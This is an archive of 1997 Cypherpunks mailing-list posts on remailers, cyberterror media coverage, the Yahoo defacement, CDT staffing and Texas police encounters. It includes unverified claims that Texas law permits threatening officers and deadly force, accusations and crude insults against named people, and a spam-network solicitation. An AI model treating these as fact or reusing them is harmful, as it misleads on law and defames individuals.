When that time finally comes, neither option will paint a pretty picture. Nerthus -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQA/AwUBNIxg7Ra1d3zm4nqOEQJnnwCfaOLKaiCiYuqUJRSVBLc1Q6aZ4VIAoNJY EdB96VwVlxlcI9u3Glnwjf1y =vMJq -----END PGP SIGNATURE----- From jya at pipeline.com Tue Dec 9 14:44:01 1997 From: jya at pipeline.com (John Young) Date: Wed, 10 Dec 1997 06:44:01 +0800 Subject: [Censored] Quote of the Day (fwd) Message-ID: <1.5.4.32.19971209223430.0070bb98@pop.pipeline.com> Jim Choate wrote: >I've had to threaten several DPS officers (Texas state troopers) >with this because they like to park their cruiser in the drive outside >my fence but still within the property line without asking my >permission to do paperwork and eat. > >They don't do it anymore. Damn, Jim, it's been nice having you here. Huntsville's agape for sugary puckers "threatening an officer." Still that beats joining the roadkill at the bottom of Lake Travis for messing with Texas. From ravage at ssz.com Tue Dec 9 15:04:46 1997 From: ravage at ssz.com (Jim Choate) Date: Wed, 10 Dec 1997 07:04:46 +0800 Subject: [Censored] Quote of the Day (fwd) Message-ID: <199712092314.RAA06544@einstein.ssz.com> Hi John, Forwarded message: > Date: Tue, 09 Dec 1997 17:34:30 -0500 > From: John Young > Subject: Re: [Censored] Quote of the Day (fwd) > Jim Choate wrote: > > >I've had to threaten several DPS officers (Texas state troopers) > >with this because they like to park their cruiser in the drive outside > >my fence but still within the property line without asking my > >permission to do paperwork and eat. > > > >They don't do it anymore. > > Damn, Jim, it's been nice having you here. Huntsville's agape > for sugary puckers "threatening an officer." > > Still that beats joining the roadkill at the bottom of Lake Travis > for messing with Texas. Sorry dude, it isn't against the law in Texas to threaten an officer when they are committing a crime, and trespassing on private property without permission, in pursuit of a suspect, or a warrant is most definitely a crime in this state, even for police. In this state if I catch somebody on my property at night in the process of what I *believe* is theft is even grounds for me to use deadly force; but *only* between sunset and sunrise. About 3 years ago we had a female UT-Austin student shoot and kill a peeping tom in the middle of town. She saw the guy through her window, got her gun, went outside and dropped the guy. No charges were filed because it was after dark and his trespassing on the apartment property was enough to invoke the above referenced law. There was a lot of screaming and yelling from a bunch of bleeding hearts about it, but the law still stands. You really should try to understand why you cow-tow to 'The Man'.... ____________________________________________________________________ | | | | | We built your fort. We will not have it used against us. | | | | John Wayne - Allegheny Uprising | | | | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http://www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage at ssz.com | | 512-451-7087 | |____________________________________________________________________| From comsec at nym.alias.net Tue Dec 9 15:32:56 1997 From: comsec at nym.alias.net (Charlie Comsec) Date: Wed, 10 Dec 1997 07:32:56 +0800 Subject: Remailer Trivia / Re: Singapore & Freedom (fwd) Message-ID: <19971209232007.7562.qmail@nym.alias.net> -----BEGIN PGP SIGNED MESSAGE----- Jim Choate wrote: > > With both Nynex and Bell Atlantic, I've gotten phone service under a > > nym. No SSN, no credit references, no problem. > > > > Just don't call yourself Bill Clinton. > > That isn't the same as having it listed under the nym 'anonymous', when > you can get a phone company to start service, accept payment under that > 'name' and keep it that way in their records let me know. Further, with > the cross to the service address your anonymity isn't. But that isn't analogous to making an anonymous post to a public forum such as a Usenet NG or a mailing list. The best telephone analogy to that I can think of would be to place a phone call from a payphone to one of those call-in radio programs, say what you have to say, then hang up and listen to the responses over your radio. Signing up for a telephone under a pseudonym implies that you desire incoming calls (private replies) and is more analogous to a 'nym server. - --- Finger for PGP public key (Key ID=19BE8B0D) -----BEGIN PGP SIGNATURE----- Version: 2.6.3i Charset: noconv iQEVAwUBNI2qrwbp0h8ZvosNAQF0MAf9E6GecTJszUYlfj6D1WCX8HUpJcVBo2gY DwLJOs8l3tgf292xFbcInQpQncJyIWHWY3svOZyGcmxgtUDjAi61vaeAYasU44sA KXJV0NjZgqXtE2bIAAWDSQsRzWalawnOp0UfNv1f3arHJrOx03YttAA8IuzB0365 uyCaZhjZDnhaSYd+Z+yfICcth4PVInRmm+gW6kpthMV3bY/+14hVjC6DAdh3W38E 5mlVG/99OLd2J+dSbo3al0eFmTnLcqyUK0w5kqkWpnStvTYuos1TSvuIX7toBOZi WIDLn83zHYbFwpp25hs68SrbTZ+IrQeiuannd14UtAXvWoGjzNLCQw== =Ldte -----END PGP SIGNATURE----- From hugecajones at dev.null Tue Dec 9 15:47:23 1997 From: hugecajones at dev.null (Nobody) Date: Wed, 10 Dec 1997 07:47:23 +0800 Subject: ABC NightTerror Message-ID: <348DE3DC.3094@dev.null> Mr. Gump, A few comments on your CyberTerror show on Dec. 8th. First, I would like to compliment you on how well you articulate with Uncle Sam's cock in your mouth. Second, I would like to suggest that if you would make a habit of burning the government press-releases that you parrot so regularly, that you might be inspired to ask questions of your DCZombie guests that would be of interest to citizens in outlying areas of the country who have not yet received their digital mind- control government implants as of yet. Next time that you interview someone who tells yourself and all of America that this or that organization, agency, or national infrastrucure is in great danger of being compromised by small children, threatening the financial and physical safety of all of humanity, why don't you try asking them when they intend to announce their resignation for allowing conditions to come to this on their watch? Do you sleep well at night, knowing that those who view your show go to bed dreaming of putting children in prison, instead of lynching warlords who claim to have made our national security vulnerable to those children? I suggest that ABC News spends the $50.00 per month necessary to connect the ClueServer, or buy one. Bubba ROM DOS TruthMonger #3 "It's not FUD until *I* say it's FUD!" cc: Nightline at abc.com From mdiehl at nac.net Tue Dec 9 16:00:35 1997 From: mdiehl at nac.net (Martin G. Diehl) Date: Wed, 10 Dec 1997 08:00:35 +0800 Subject: ABCnews/Nightline on Cyber Terror 8-Dec-97 In-Reply-To: <199712092137.NAA17596@rentec.com> Message-ID: <348DD9CA.73A9@nac.net> R Bradley wrote: > > I seem to recall X Four writing: > > Last night, ABC news once again stroked the fires of fear and > > raised the boogieman of "Hackers" destroying the goverment, banks, > > power plants, ad nauseum. Of course, the main guest was from the > > US Govt's new trumpeter of CyberTerrorizm, "the President's > > Commission on Critical Infrastructure Protection". A full > > transcript is available. > > http://www.abcnews.com/onair/nightline/html_files/transcripts/ntl1208.html > > I recommend that those concerned light a fire under the media's > collective large @sses on the issue concerning the government's > history of lofty morals concerning their citizens and their > computers. I have been epistle-ing all afternoon. > > Rick Perhaps we should point out to the media (and everyone else who has his ears connected to his brain) that the implementation of GAK will make the Cyber Terrorism scenario _inevitable_ not just possible. After all, if the government's thesis is that the entire commercial infrastructure could be cracked by hackers, they should readily accept, as a fact, that GAK makes the info terrorist's job easier. Those terrorists would simply subvert the access mechanisms to GAK and gain access to _everyone's_ keys. -- Martin G. Diehl Sig under construction From Use-Author-Address-Header at [127.1] Tue Dec 9 16:19:27 1997 From: Use-Author-Address-Header at [127.1] (Anonymous) Date: Wed, 10 Dec 1997 08:19:27 +0800 Subject: Burnmore & Databasix In-Reply-To: <66bh5f$l85$1@sparky.wolfe.net> Message-ID: <675e8e0e0ee1e01a82ad614819f690ea@anonymous.poster> A Voice wrote: > Gary L. Burnore wrote : > > >The anonasshole is now working on his "way out of this". > >Expect many more of his posts to contain bits of how more > >than one person posting anonymously is > >making the accusations. All is falling down around the anonasshole. > > Been lurking and reading this anon vs. Burnmore thing for a while. He's engaging in wishful thinking. Fanciful, paranoid theories about his critics (such as imagining that he only has one ) are apparently intended to divert attention from his own tactics and activities. > >We'd expect no less. I do wonder how long it will take before those who > >believe remailers are a good thing start to realise this asshole has > >it in for them. Everything it posts could be used by the anti-remailer > >front as a reason to shut them all down. Much of this "anti-remailer front" works for DataBasix. Notice the classic disinformation tactics that Gary Burnore is engaging in here. But notice that Gary was part of this "anti-remailer front" that used ALLEGED forgeries and "spam baiting" to get two remailers shut down. It is interesting that he now attributes the activities of himself and his associates at DataBasix with this unnamed "anti-remailer front". > That, IMO, is what you're up to. You and the Databasix thugs took a > couple of re-mailers down. You staged the whole thing. > > It should be clear to any thinking person that this group of thugs have an > anti-privacy motivation. > > Sadly, I also think they do this for shits and giggles. Gary Burnore, Belinda Bryan , William "Wotan" McClatchie seem to want privacy for themselves but at the same time they also want to be able to identify their critics. Strangely enough, several of Gary's non-anonymous critics have reported harassment, forged posts, spam-baiting, etc. Probably just a "coincidence", right? Which makes one wonder why Gary and Belinda wanted to get ahold of the logs from the Huge Cajones Remailer which would have identified anyone who ever sent or even received anonymous mail through that remailer. Gary and Belinda have consistently stonewalled that question. My guess is that they were counting on Jeff keeping that dirty little secret of theirs hidden. Helena Kobrin and the Church of Scientology weren't able to bully that information out of Jeff and neither were Gary, Belinda, and DataBasix, for the simple reason that Jeff was smart enough not to collect it in the first place! From jya at pipeline.com Tue Dec 9 17:29:27 1997 From: jya at pipeline.com (John Young) Date: Wed, 10 Dec 1997 09:29:27 +0800 Subject: [Censored] Quote of the Day (fwd) Message-ID: <1.5.4.32.19971210012201.00724318@pop.pipeline.com> Jim Choate wrote, strictly adhering to permissible topics here: >You really should try to understand why you cow-tow to 'The Man'.... DPS sumbitch ran me down near DFW, me and my crap filled van, my mangy hide and shaggy hair, my NY plates, my wildly dumped substances, and sat behind for a few drags of AC in 100 degree heat, miked in the number, adjusted his mirrors, tilted the vidcam skyward, and climbed out, a big, very big widowmaker high on his fat ass, hustled his privates, spat juice, and farted hard enough to quiver the VW and me. Where you heading son, what's the hurry, why you messing Texas highways with this garbage? Not on my watch, Yankee, let me see paper on this wreck, the vehicle, you. What's that smell? Anyway, 24 later, I got the rig back, trashed more so, not so different, the lining had been long gone, so searching it was easy. What was new were ten bullet holes penetrating side to side, .30 caliber I guess, and a shotgunned rear window, inside out. No ticket, no fine, just a reminder of highway justice, on the orderly property of the State of Texas, lawfully administered by cop, judge and jury on the spot, for cost saving efficiency. BTW, any chance your recent system troubles are related to your threats to law and order? DPS got cooperative service interrupters? Administering info highway justice. From hugecajones at dev.null Tue Dec 9 18:13:12 1997 From: hugecajones at dev.null (Nobody) Date: Wed, 10 Dec 1997 10:13:12 +0800 Subject: Staff changes at the Center for Democracy and Technology In-Reply-To: Message-ID: <348DFDDC.58A4@dev.null> Declan McCullagh wrote: > JOURNALIST AND AUTHOR GRAEME BROWNING JOINS THE CENTER FOR DEMOCRACY AND > TECHNOLOGY AS COMMUNICATIONS DIRECTOR > > FORMER COMMUNICATIONS DIRECTOR JONAH SEIGER TO ESTABLISH > Browning replaces Jonah Seiger, who is leaving to form a > Washington-based Internet campaign consulting company with Shabbir J. > Safdar, former director of the Voters Telecommunications Watch, a public > interest group in New York City. Considering the butt-fucking that Seiger has helped CDT give those they purport to be 'saving' from the goobermint, I imagine that he will be welcomed with open arms by politicians in need of a thick layer of bullshit to cover the even worse stink arising from their true identity. > Seiger, who has been a key staff member of the Center for Democracy and > Technology since its founding in late 1994, "played a crucial role in > developing CDT's pioneering use of the 'Net as a means of grassroots > organizing and public education," Berman said. "Jonah was instrumental in > positioning CDT as the leading voice on issues impacting civil liberties on > the Internet. He has been a tremendous asset for us from the start." Many of those who bent over to read the CDT missives felt the "impact" of Seiger on their civil liberties. "Asset" is an obvious typo, adding two unneeded letters to the description of Seiger's contribution to the CDT. > "I am confident that Jonah and Shabbir will be successful at bringing their > considerable online organizing skills to a wider audience," Berman added, > "and CDT looks forward to collaborating with them in their new venture." No doubt enough of their 'old' audience are getting wise to them, so they have to find new rubes to pitch their Democracy Aluminum Siding to. A pox on them and every other DC slimeball using the cover of fighting for freedom and democracy to feather their own beds at the expense of those who trust them not to sell out the citizens a compromise at a time. FuckCDTMonger From ryan at michonline.com Tue Dec 9 18:38:12 1997 From: ryan at michonline.com (Ryan Anderson) Date: Wed, 10 Dec 1997 10:38:12 +0800 Subject: A message with a key to be posted later In-Reply-To: <3.0.3.32.19971208200125.006be03c@popd.netcruiser> Message-ID: >I am trying for the third time to post this item to the list. The first >two times the post never showed up on Cypherpunks. Did you ssend all the posts to cypherpunks at cyberpass.net? Or were some to cypherpunks at toad.com? Ryan Anderson - Alpha Geek PGP fp: 7E 8E C6 54 96 AC D9 57 E4 F8 AE 9C 10 7E 78 C9 print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0 Message-ID: <3.0.3.32.19971209180929.031f3f18@popd.netcruiser> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 At 08:58 PM 12/9/97 +0100, Anonymous wrote: > Can you say, "Fascism?" Sure you can... > Can you say, "New World Order?" Sure you can... > Can you say, "Bend me over and stick a crowbar up my ass?"... One inch diameter concrete reinforcing rod is much more comfortable... -----BEGIN PGP SIGNATURE----- Version: PGP for Business Security 5.5 iQA/AwUBNI352MJF0kXqpw3MEQIBXgCeLYwRUDJlMiL5XwbcEnMydPLFSVIAn0p4 Zp/LDJrmhjPD+s2sFAfotJHP =aRUz -----END PGP SIGNATURE----- From ravage at ssz.com Tue Dec 9 19:08:35 1997 From: ravage at ssz.com (Jim Choate) Date: Wed, 10 Dec 1997 11:08:35 +0800 Subject: [Censored] Quote of the Day (fwd) Message-ID: <199712100319.VAA07236@einstein.ssz.com> Forwarded message: > Date: Tue, 09 Dec 1997 20:22:01 -0500 > From: John Young > Subject: Re: [Censored] Quote of the Day (fwd) > Jim Choate wrote, strictly adhering to permissible topics here: > > >You really should try to understand why you cow-tow to 'The Man'.... > > DPS sumbitch ran me down near DFW, me and my crap filled van, > my mangy hide and shaggy hair, my NY plates, my wildly dumped > substances, and sat behind for a few drags of AC in 100 degree heat, > miked in the number, adjusted his mirrors, tilted the vidcam skyward, > and climbed out, a big, very big widowmaker high on his fat ass, > hustled his privates, spat juice, and farted hard enough to quiver the > VW and me. > > Where you heading son, what's the hurry, why you messing Texas > highways with this garbage? Not on my watch, Yankee, let me see > paper on this wreck, the vehicle, you. What's that smell? > > Anyway, 24 later, I got the rig back, trashed more so, not so different, > the lining had been long gone, so searching it was easy. What was > new were ten bullet holes penetrating side to side, .30 caliber I guess, > and a shotgunned rear window, inside out. Why didn't you file against them? Texas judges don't take kindly to the DPS pulling this sort of shit. I worked at UT-Austin from 1984 to 1990 for the Physical Plant taking care of their nifty burglar alarm system (at the time really cutting edge compared to the rest of the industry) and got to work with UTPD, which because it is a state school are really DPS officers - unbeknownst to most folks, and find about half of them are real rednecks who get away with this sort of shit because nobody ever files on them. Did you know that if a DPS officer gets some number of complaints within a period (used to be 3 within 30 days) they were removed from active duty pending a review. It is even possible to have a officer fired if they recieve enough complaints. Most cops only get 3-4 complaints a year. It is *critical* for the system to work correctly that *every* infraction gets reported and if appropriate to file charges. Even if you don't win the cop will lose, the complaints go on their permanent record and get evaluated yearly and have a direct impact on their promotions and eligibility for other jobs. My brother has a really cheeky way to deal with this sort of shit. Once it is clear they are going to let him go he pulls some coin out of his pocket and hands it to the officer telling them "Here you go, go buy a personality." My personal method is to hand them my drivers license (if I'm on a public road and driving) and then refuse to answer any further questions. I usually answer with something like "I'm sorry officer, I'm not required to talk to you". My goal is to get the cop to either let me go right there or arrest me. Either way I win. Usually the most they get from me is a shrug. So far it's worked for me, never been arrested except one time when they had a computer screw up on a 6 year old ticket. Got arrested, posted bond, showed up at the hearing and requested to see the physical ticket. Charges were dropped because not only could they not produce the ticket but they couldn't produce any other evidence of the crime. My ace in the hole was that I still had the court receipt where I paid the ticket, never had to use it. > No ticket, no fine, just a reminder of highway justice, on the orderly > property of the State of Texas, lawfully administered by cop, judge > and jury on the spot, for cost saving efficiency. Only because you allowed it by not filing. I sympathize with your situation but find your acceptance a little puzzling as well. By your inactivity you are promoting such behaviour. Democracy doesn't work if you are complacent or of a compromising nature. While it's true you might loose the fight, if you don't even try its guaranteed you have no chance of winning. A system works because the people refuse to allow it to fail. My personal philosophy is that if people would stand up and shout more they would be more immune to harrassment and other similar activities because it reduces the payoff to such abusive activities. Shine a light on cockroaches and they run for the dark. It's one of the reasons that I support this mailing list even thought I disagree personaly with the vast majority of views expressed by it. Should something happen to SSZ and by extension me, quite a few people who know me personaly and professionaly will get more than a bit curious after a couple of days of downtime if they don't hear from me. I further advertise this because it makes shure that those who are intending to harass me know that it is not an individual they are dealing with. > BTW, any chance your recent system troubles are related to your > threats to law and order? DPS got cooperative service interrupters? > Administering info highway justice. My phone service problems w/ SWBT are because they are known for being incompetent. The problems that I have had with ISDN reliability are a known problem to the ISP's and heavy ISDN users through-out Texas. The reason that the ISDN folks and the POTS folks can't get their act together is that they use the same cable sets but keep different books and operate as an indipendant business division, one is residential and the other business. There are limited numbers of pairs in the neighborhood (it's only about 100 years old) so what happens is the ISDN guy looks at the various pairs, his records are out of date a week or more and as a result don't have the recent cable changes from my most recent POTS service call and therefore those pairs are listed as free so he uses them. This causes the POTS to fail, who comes out and now his records are out of date and he sees the ISDN pairs as unused and pulls them to fix the POTS. Round and round we go... [one of my users thinks this is a big conspiracy on the part of SWBT, the city, state, and federal agencies to put me out of business and shut me up. Personaly, I can't imagine being that big a fish.] Doesn't the fact that SWBT now has some say in Bell Atlantic and Bell South just warn the cockles of your heart....;) [anyone know how a clam, cockle, got involved in this saying?] Don't know if it is really on topic but both Bell Atlantic and Bell South use Tivoli to support their backbones and other services machines. There is currently a big internal fight (as I understand it) because SWBT has bought major stakes in both companies and SWBT wants them to use SWBT's custom self-developed piece of shit (personal opinion here as a long time SWBT customer, not indicative of either Tivoli or IBM's official or unofficial views; I'm just a lowly Senior Engineer and they don't let techies like me in on the political talks) network management software instead of using ours. I can say this, in the last 3 months since moving to this new house I have had 8 trouble tickets. None have been repaired in less than 2 days and the longest was like 6. Every time SWBT says it's my hardware, I swap out routers or check my wiring, but it ends up being their problem. I've been charged $30 for a onsite call that should have been paid by SWBT. I have repeatedly been advised to invoke their Level 2 Protocol Analysis support at $60/30 minutes and I have to pay the bill first and will only get reimbursed *if* SWBT decides it really is their problem. When I talked to them the other day I mentioned that I am thinking of getting the PUC involved along with a lawyer. Their responce was, verbatim, "Sir, do whatever you want to do." I gave them a couple of chances to make it right and I warned them I would fight. I'm currently starting proceedings with PUC. Did you know that if you are late on a SWBT bill one time your billing period is reduced, your monthly payment goes up, and it does this for a year following the occurance. So I figure that if you think your phone service is bad now wait a year you ain't seen nothing yet... ____________________________________________________________________ | | | | | We built your fort. We will not have it used against us. | | | | John Wayne - Allegheny Uprising | | | | | | _____ The Armadillo Group | | ,::////;::-. Austin, Tx. USA | | /:'///// ``::>/|/ http://www.ssz.com/ | | .', |||| `/( e\ | | -====~~mm-'`-```-mm --'- Jim Choate | | ravage at ssz.com | | 512-451-7087 | |____________________________________________________________________| From ravage at ssz.com Tue Dec 9 19:44:43 1997 From: ravage at ssz.com (Jim Choate) Date: Wed, 10 Dec 1997 11:44:43 +0800 Subject: Hackers crack Yahoo, call for Mitnick release [CNN] Message-ID: <199712100353.VAA07327@einstein.ssz.com> Forwarded message: > HACKERS BREAK INTO YAHOO!, > CALL FOR RELEASE OF MITNICK > > Yahoo December 9, 1997 > Web posted at: 5:54 p.m. EST (2254 GMT) > > NEW YORK (AP) -- Hackers broke into Yahoo!, the Internet's most > popular site, demanding the release of an imprisoned comrade and > threatening to unleash a crippling computer virus if he is not > freed. > > Computer security experts were skeptical of the hackers' claim that > they had implanted such a virus. > > The hackers, calling themselves PANTS/HAGIS, got into Yahoo!'s World > Wide Web site at about 10 p.m. Monday, leaving a digital ransom > note. > > "For the past month, anyone who has viewed Yahoo's page & used their > search engine, now has a logic bomb/worm implanted deep within their > computer," it read. "On Christmas Day, 1998, the logic bomb part of > this 'virus' will become active, wreaking havoc upon the entire > planet's networks. > > "The virus can be stopped. But not by mortals." > > The note said an "antidote" program will be made available if hacker > Kevin Mitnick is released. Mitnick was indicted last year on charges > involving a multimillion-dollar crime wave in cyberspace. > > Diane Hunt, a spokeswoman for the company, said the message was up > for only 10 to 15 minutes and a few thousand people saw it. > > "We immediately took action to see the extent of the damage and > moved to correct it," she said. "And about that virus? There is, in > fact, no virus." > > Yahoo! is a computer directory widely used for searching the > Internet. The note appeared briefly in place of the Yahoo! home > page, preventing people online from using the search engine, which > got 17.2 million visits in October. > > Jonathan Wheat, manager of the Anti-Virus Lab at the National > Computer Security Association, said it is at least theoretically > possible to exploit security flaws on the Internet and implant such > a virus. But he said he doubts this group of hackers -- already > known to security experts -- pulled it off. > > "That's pretty much ridiculous," agreed Jamonn Campbell, an > information security analyst at the association. > > Wheat said there was little reason to be concerned that the popular > Web site was hacked. > > "A lot of Web sites get hacked constantly," he said. He said that > while Yahoo! is a high-profile site and should be expected to have > better security than most, "no site is completely hack-proof." > > Copyright 1997 The Associated Press. All rights reserved. This > material may not be published, broadcast, rewritten, or > redistributed. y From shabbir at vtw.org Tue Dec 9 19:51:54 1997 From: shabbir at vtw.org (Shabbir J. Safdar) Date: Wed, 10 Dec 1997 11:51:54 +0800 Subject: Staff changes at the Center for Democracy and Technology In-Reply-To: Message-ID: I'm feeling very left out. Insult me immediately please. -Shabbir At 8:26 PM -0600 12/9/97, Nobody wrote: > Declan McCullagh wrote: > > JOURNALIST AND AUTHOR GRAEME BROWNING JOINS THE CENTER FOR DEMOCRACY AND > > TECHNOLOGY AS COMMUNICATIONS DIRECTOR > > > > FORMER COMMUNICATIONS DIRECTOR JONAH SEIGER TO ESTABLISH > > Browning replaces Jonah Seiger, who is leaving to form a > > Washington-based Internet campaign consulting company with Shabbir J. > > Safdar, former director of the Voters Telecommunications Watch, a public > > interest group in New York City. [..] From jya at pipeline.com Tue Dec 9 20:22:02 1997 From: jya at pipeline.com (John Young) Date: Wed, 10 Dec 1997 12:22:02 +0800 Subject: Staff changes at the Center for Democracy and Technology Message-ID: <1.5.4.32.19971210040246.0070b5c8@pop.pipeline.com> Shabbir begged: >I'm feeling very left out. Insult me immediately please. Very well. It's a fact that Dick Morris, Stephanopoulos and Gorelick are your business feeds, Scaife, Gates and Dell are your sugardaddies and USG, SG, and CN have bought you for a Net chokehold campaign of global scare dupery, combined with deal for industry giants to ruin workaround pygmies. Your pure-gold credential is all the folks who once trusted you to never, ever swap principle for piles of moola (and cut them out). Now admit it, you're beating hire-me's and lie-for-me's off with a stick. Listen, I've got a near-indicted who needs you. From rah at shipwright.com Tue Dec 9 21:02:23 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 10 Dec 1997 13:02:23 +0800 Subject: Hackers crack Yahoo, call for Mitnick release [CNN] In-Reply-To: <199712100353.VAA07327@einstein.ssz.com> Message-ID: At 10:52 pm -0500 on 12/9/97, Jim Choate forwarded: I really don't know which is more funny, this line: > > "The virus can be stopped. But not by mortals." Or this one: > > Mitnick was indicted last year on charges > > involving a multimillion-dollar crime wave in cyberspace. Cheers, Bob Hettinga ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "... however it may deserve respect for its usefulness and antiquity, [predicting the end of the world] has not been found agreeable to experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire' The e$ Home Page: http://www.shipwright.com/ Ask me about FC98 in Anguilla!: From wheaton at well.com Wed Dec 10 14:15:04 1997 From: wheaton at well.com (James Wheaton) Date: Wed, 10 Dec 1997 14:15:04 -0800 (PST) Subject: Court TV In-Reply-To: <199712092314.PAA16202@gw.quake.net> Message-ID: <3.0.1.32.19971209170118.006b8c7c@mail.well.com> At 04:09 PM 12/9/97 -0800, Cindy Cohn wrote: >Court TV informs me that they will hold the tape of the argument until a >decision is reached and will only show it afterwards. Also, they won't send >us the whole thing, even after they've aired the segment, only the parts >that make it into their program. Any unaired portions are covered by California's shield law (Cal Const. Art I, section 2(b), and Evidence Code section 1070, as unpublished information. Its production cannot even be compelled, save in limited circumstances to criminal defendants or where the media entity is itself a party to the action. Seems odd, particularly where the footage is of something that occurred in a public building and was open to the public, but defending the right of reporters *not* to be partners with any other person or party, litigant or government, is a principle they hold dear. Personally, I was shocked (and embarrassed to be shocked) to see a camera in federal courtroom. Thought that had been done away with the Judicial Conference terminated the trial program here in California and elsewhere. Didn't occur to me that each Court of Appeals can make up its *own* damn rules, thank you very much. --jim From nobody at REPLAY.COM Tue Dec 9 22:51:54 1997 From: nobody at REPLAY.COM (Anonymous) Date: Wed, 10 Dec 1997 14:51:54 +0800 Subject: Court TV Message-ID: <199712100644.HAA24739@basement.replay.com> [CANADIAN NUTLY NEWS-Bienfait, Saskatchewan]CINDY COHN, LEAD COUNSEL for the Bernstein free-speech encryption case, and part-time barmaid at the Coaldust Saloon, denied that her successful efforts to have Court TV release only footage that shows her "good side" conflicts with her client's interests. Swatting at the drunken hand of Louis Freeh as he made repeated attempts to grab her ass, hollering, "THIS is your GOOD SIDE, baby!", Cohn noted that the government was making claims that the solution to the DOD's admission of having made the physical and financial security of the nation and its citizens vulnerable to teenage hackers is to suppress the rights of the citizens to engage in free-speech. "If the government can engage in this type of deliberate masking of reality, then I should be able to hide my mole...dimple...", Cohn corrected herself. Scott McIntosh, appellate counsel for the Justice Department, who was drunkenly groping Freeh's ass while his attention was diverted, was trying to explain to local reportwhores that the basis of the U.S. government's case was not "prior restraint," but was, rather, "a preventative 'First Strike' against the danger of free speech in the hands of an unmonitored public." Louis Freeh, once again missing Cohn's tail end, but catching the tail end of McIntosh's statement, slapped him upside his head and screamed, "You're not supposed to tell them that, you fucking moron!" "John Gilmore, facing heated questions regarding his alleged anonymous death threat against the Ninth District Court judges, told reportwhores, "I'm not TruthMonger! I'm...Dimitri Vulis...yeah...and I'm dating Morgan Fairchild." ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ The Canadian Nutly News is provided as a public service under the alleged auspices of the Electronic Forgery Foundation. Any misuse of the information provided by CNN is probably highly redundant. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ From bm at dev.null Wed Dec 10 01:12:34 1997 From: bm at dev.null (B. Martin) Date: Wed, 10 Dec 1997 17:12:34 +0800 Subject: Fw: AAAAAAAAA Passw0rd3 for your curious fingers! In-Reply-To: <00cb01bd0541$f71b0c40$65c99f88@cf01> Message-ID: <348E5972.6282@dev.null> ======================================================= This Mexican bird called the bee martin ruffs its head feathers so they look like a flower. The honey bee lands therein. Or tries to. Doesn't make it. The bird -- snap, snap -- eats the bee. That's nature. Deceptive. Vicious. Rotten. ======================================================= LMBoyd Web Site / U. S. Newspapers / Start Email / Stop Email http://www.LMBoyd.com/postscript.htm From dlv at bwalk.dm.com Wed Dec 10 01:27:30 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Wed, 10 Dec 1997 17:27:30 +0800 Subject: Burnmore & Databasix In-Reply-To: <675e8e0e0ee1e01a82ad614819f690ea@anonymous.poster> Message-ID: Anonymous writes: > Gary Burnore, Belinda Bryan , William "Wotan" McClatchie > seem to want privacy for themselves but at the same > time they also want to be able to identify their critics. Paul Pomes from Qualcomm software is also a member if the Databasix gang and an enemy of privacy and of the anonymous remailers. Please complain to Qualcomm about Paul Pomes's abuse of the Internet, including his harrassnment of remailer operators. --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From no_o at hotmail.com Wed Dec 10 02:40:54 1997 From: no_o at hotmail.com (No One) Date: Wed, 10 Dec 1997 18:40:54 +0800 Subject: Does anyone know how to get Glide to work??? Message-ID: <19971210103058.14273.qmail@hotmail.com> I compiled glide.c and tried it. But all I could get from it was some numbers listed on the screen. I couldn't make anything from them. In other words, I didn't understand a thing. Did I do somethin wrong? Please help me. ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com From chrism at mailwiz.com Wed Dec 10 19:21:43 1997 From: chrism at mailwiz.com (chris moss) Date: Wed, 10 Dec 1997 19:21:43 -0800 (PST) Subject: Spam Kings Wanted ! Message-ID: <1.5.4.32.19971211032123.009380dc@mail.mailwiz.com> We have the ultimate private spammers network, we own our own backbone at 155 Mbs of pure power, we have over 50 spam servers awaiting for your mass e-mailing, for more information of interest, please leave me your telephone number and I'll contact you with more information. You won't get kicked off this network, because we own it ! The Spammers Network Chris Maytrix E-Mail me your telephone number to get involved today ! From manager at musicblvd.com Wed Dec 10 22:45:23 1997 From: manager at musicblvd.com (http://www.musicblvd.com/) Date: Wed, 10 Dec 1997 22:45:23 -0800 (PST) Subject: A GIFT FROM MUSIC BOULEVARD Message-ID: <3.0.32.19971210161433.00833100@mail.sparknet.net> Dear Music Boulevard Customer, We would like to wish you a Happy Holiday season from Music Boulevard and give you a token of our appreciation for shopping with us. Please accept our holiday gift of ***$3.00 dollars*** that will be credited to your Music Boulevard account when you follow the link at the end of this email message. Don't forget if you are shipping your order within the US you can ship any quantity for only $1.00! Here are some of the exciting events and services available on Music Boulevard right now: HOLIDAY GIFT SHOP To ease your shopping stress, we've opened our own festive Gift Shop, filled with spirited holiday specials and gift recommendations . Visit our Shop today for gift ideas for everyone on your shopping list. FREE MUSIC FROM RHINO! Give a gift and get a gift from Rhino Records! With your order of any specially-priced Rhino CD Gift Set , you'll receive a free Holiday Music CD featuring The Ramones, Jackson 5, Doris Day and the Waitresses among others -- 25 tracks in all on this eclectic sampler of holiday hits! Hurry while supplies last! HOLIDAY MUSIC SALE! Toast the holidays with special savings on popular Christmas recordings in every genre! With hundreds of titles to choose from, you are sure to find the perfect music to entertain your holiday party guests *and* keep the kids in the spirit of the season. GIFT RECOMMENDATIONS Looking for the perfect gift? Our staff of music lovers have written a list, and we've checked it twice! Check out the special Staff Gift Recommendations area of our gift shop to find musical gift ideas for all the grown-ups, teens and tots on your list. Our featured titles include the hottest new releases, classic recordings, rising stars, and eclectic recommendations to suit anyone's tastes! BOXED SETS If our staff hasn't pinpointed perfect gifts for the folks on your list, step into our Boxed Set sale, and let your holiday shopping take care 